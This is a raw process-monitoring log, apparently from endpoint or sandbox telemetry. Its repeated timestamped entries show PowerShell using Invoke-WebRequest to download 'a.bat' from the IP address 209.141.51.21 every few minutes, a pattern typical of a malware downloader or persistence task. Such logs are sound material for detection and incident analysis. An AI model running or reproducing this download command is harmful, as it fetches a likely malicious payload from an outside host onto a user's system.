C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:58:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:58:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:00:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:00:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:03:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:03:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:05:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:05:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:08:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:08:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:10:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:11:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:13:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:13:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:15:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:16:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:18:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:18:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:20:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:21:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:23:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:23:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:25:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:26:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:28:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:28:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:30:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:31:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:33:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:33:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:35:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:36:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:38:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:38:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:40:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:41:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:43:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:43:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:45:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:46:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:48:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:48:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:50:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:51:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:53:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:53:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:55:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:56:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:58:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 16:58:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:00:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:01:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:03:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:03:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:05:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:06:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:08:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:08:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:10:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:11:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:13:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:13:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:15:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:16:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:18:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:18:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:20:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:21:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:23:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:23:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:25:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:26:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:28:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:28:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:30:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:31:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:33:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:33:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:35:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:36:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:38:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:38:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:40:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:41:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:43:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:43:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:45:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:46:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:48:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:48:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:50:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:51:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:53:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:53:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:55:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:56:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:58:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 17:58:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:00:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:01:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:03:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:03:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:05:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:06:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:08:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:08:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:10:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:11:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:13:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:13:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:15:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:16:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:18:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:18:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:20:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:21:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:23:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:23:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:25:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:26:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:28:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:28:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:30:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:31:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:33:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:33:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:35:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:36:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:38:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:38:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:41:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:43:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:46:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:48:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:51:06 NOTIFY: PROCESS 